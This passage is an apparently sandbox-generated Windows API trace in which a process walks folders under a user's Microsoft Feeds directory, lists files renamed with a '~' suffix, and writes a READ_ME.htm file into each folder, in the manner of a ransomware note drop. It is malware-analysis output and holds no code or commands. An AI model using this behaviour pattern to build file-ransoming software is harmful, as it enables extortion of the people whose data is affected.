lpFilePart=0x0) returned 0x41 [0144.080] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x41 [0144.081] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x42 [0144.082] SetErrorMode (uMode=0x1) returned 0x0 [0144.082] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.083] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.083] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1 [0144.083] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ba73d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ba73d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1 [0144.083] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1 [0144.083] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0 [0144.084] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.085] SetErrorMode (uMode=0x0) returned 0x1 [0144.085] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\", lpszLongPath=0x21cc30, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\") returned 0x42 [0144.086] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm", lpFilePart=0x0) returned 0x4d [0144.086] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm", lpszLongPath=0x21ca20, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0144.087] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~", lpszLongPath=0x21ca00, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~") returned 0x41 [0144.091] SetErrorMode (uMode=0x1) returned 0x0 [0144.091] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.092] GetFileType (hFile=0x1d0) returned 0x1 [0144.092] SetErrorMode (uMode=0x0) returned 0x1 [0144.092] GetFileType (hFile=0x1d0) returned 0x1 [0144.092] WriteFile (in: hFile=0x1d0, lpBuffer=0x28f8c08*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28f8c08*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.094] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x58 [0144.095] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x58 [0144.095] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x58 [0144.097] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.098] SetErrorMode (uMode=0x1) returned 0x0 [0144.098] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.098] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.098] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1 [0144.098] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0 [0144.099] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.099] SetErrorMode (uMode=0x0) returned 0x1 [0144.099] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cd90, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x58 [0144.099] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpFilePart=0x0) returned 0x58 [0144.099] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", lpszLongPath=0x21cb80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~") returned 0x58 [0144.101] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cd80, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.102] SetErrorMode (uMode=0x1) returned 0x0 [0144.102] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798876f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1 [0144.102] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0 [0144.103] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.103] SetErrorMode (uMode=0x0) returned 0x1 [0144.104] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.105] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x63 [0144.107] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x63 [0144.107] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21cac0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x63 [0144.109] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.109] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x64 [0144.110] SetErrorMode (uMode=0x1) returned 0x0 [0144.110] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1 [0144.111] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0 [0144.111] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.111] SetErrorMode (uMode=0x0) returned 0x1 [0144.112] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.113] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21ccd0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x63 [0144.114] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpFilePart=0x0) returned 0x63 [0144.114] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", lpszLongPath=0x21cac0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 0x63 [0144.116] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.117] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x21ccc0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x64 [0144.118] SetErrorMode (uMode=0x1) returned 0x0 [0144.118] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.119] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x798876f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.119] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1 [0144.119] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b81270, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b81270, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 0 [0144.119] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.119] SetErrorMode (uMode=0x0) returned 0x1 [0144.120] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\", lpszLongPath=0x21cb70, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\") returned 0x59 [0144.120] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\", lpszLongPath=0x21cb70, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\") returned 0x64 [0144.121] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: 